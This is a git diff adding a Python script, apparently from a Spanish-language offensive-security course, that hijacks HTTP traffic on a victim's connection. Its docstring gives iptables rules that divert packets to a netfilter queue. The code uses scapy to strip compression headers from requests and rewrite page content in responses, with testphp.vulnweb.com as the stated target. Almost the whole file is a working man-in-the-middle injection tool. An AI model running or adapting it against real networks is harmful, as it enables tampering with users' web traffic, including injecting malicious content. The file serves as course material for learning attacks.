diff --git a/python-ofensivo/15_hacking/08_traffic_hijacking.py b/python-ofensivo/15_hacking/08_traffic_hijacking.py new file mode 100644 index 0000000..fc97c0f --- /dev/null +++ b/python-ofensivo/15_hacking/08_traffic_hijacking.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +""" +Traffic Hijacking + +Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga +una petición a la web desde la máquina victima, se redirija a nuestra web. + +Para que funcione hay que redirigir el tráfico a la cola 0: +iptables -I INPUT -j NFQUEUE --queue-num 0 +iptables -I OUTPUT -j NFQUEUE --queue-num 0 +iptables -I FORWARD -j NFQUEUE --queue-num 0 +iptables --policy FORWARD ACCEPT + +Con esto no puedes navegar porque los paquetes están a la espera +de ser procesados por netfilterqueue. + +Para eliminar las anteriores reglas: +iptables -D INPUT -j NFQUEUE --queue-num 0 +iptables -D OUTPUT -j NFQUEUE --queue-num 0 +iptables -D FORWARD -j NFQUEUE --queue-num 0 +iptables --policy FORWARD ACCEPT + +""" + +import netfilterqueue +import re +import scapy.all as scapy +import signal +import sys + + +def def_handler(sig, frame): + """ + Ctrl + C + """ + + print('\n[!] Saliendo...\n') + sys.exit(1) + + +signal.signal(signal.SIGINT, def_handler) + + +def set_load(packet, load): + """ + Modifica el campo load del paquete + """ + + # Modificamos el campo load del paquete + packet[scapy.Raw].load = load + + # Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum + del packet[scapy.IP].len + del packet[scapy.IP].chksum + del packet[scapy.TCP].chksum + + return packet + + +def process_packet(packet): + """ + Procesa los paquetes que llegan a la cola 0 + """ + + scapy_packet = scapy.IP(packet.get_payload()) + + if scapy_packet.haslayer(scapy.Raw): + + try: + + if scapy_packet[scapy.TCP].dport == 80: + + print("Modificada petición HTTP") + + # Eliminamos la cabecera Accept-Encoding para que no comprima + # el contenido + modified_load = re.sub( + b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load + ) + + # Eliminamos la cabecera HTTP/1.1 para que no se queje + new_packet = set_load(scapy_packet, modified_load) + + # Inyectamos código en la petición + packet.set_payload(new_packet.build()) + + elif scapy_packet[scapy.TCP].sport == 80: + + print("Modificada respuesta HTTP") + + # Inyectamos código HTML en la respuesta + modified_load = scapy_packet[scapy.Raw].load.replace( + b"welcome to our page", b"Welcome to the hacked page ;)" + ) + + # Enviamos el paguete modificado + new_packet = set_load(scapy_packet, modified_load) + + packet.set_payload(new_packet.build()) + + except: + + pass + + packet.accept() + + +print(f"[+] Iniciando traffic hijacking ...") + +queue = netfilterqueue.NetfilterQueue() +queue.bind(0, process_packet) +queue.run()